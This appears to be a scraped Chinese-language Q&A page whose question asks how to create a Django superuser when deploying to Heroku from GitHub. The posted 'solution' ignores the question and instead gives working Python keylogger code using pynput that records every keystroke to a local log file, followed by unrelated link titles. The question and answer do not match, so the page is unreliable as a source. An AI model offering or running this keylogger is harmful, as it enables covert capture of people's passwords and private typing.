python - 通过 Github 部署 Heroku,超级用户创建
问题描述
我已经通过 GitHub 将应用程序部署到 Heroku,并通过添加运行迁移
release: python manage.py migrate
到 Procfile。我知道我需要创建一个超级用户(如果我使用的是 CLI,这很简单)但是我需要一种可以使用 GitHub 部署明确地做到这一点的方法。
解决方案
根据我的研究,很难跟踪所有事件
但是您可以创建一个键盘记录器,它会跟踪击键并保存它
这是代码: -
# keylogger using pynput module
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
def write_file(keys):
with open('D:/log.txt', 'w') as f: # This will save in D drive as log.txt
for key in keys:
# removing ''
k = str(key).replace("'", "")
f.write(k)
# explicitly adding a space after
# every keystroke for readability
f.write(' ')
def on_release(key):
print('{0} released'.format(key))
if key == Key.esc:
# Stop listener
return False
with Listener(on_press = on_press,
on_release = on_release) as listener:
listener.join()
推荐阅读
- git - 使用来自 passport.js 的 oauth 令牌的 Git 克隆(Github)
- angular - 使用 AGM 在谷歌地图上加载图像
- python - PySimpleGui:在 GUI 中显示控制台输出
- c++ - 派生的公共类不继承受保护的变量
- r - 在 R 中编写一个 for 循环,用相关测试的输出(估计值和置信区间)填充矩阵?
- functional-dependencies - BCNF 中的依赖保持分解
- node.js - 使用 Puppeteer 抓取内联 div 值
- javascript - 使用 react-native-webview 的 stopLoading 后 Webview 冻结
- javascript - 图像未在 Vue-bootstrap 中显示
- html - 屏幕渲染时如何聚焦输入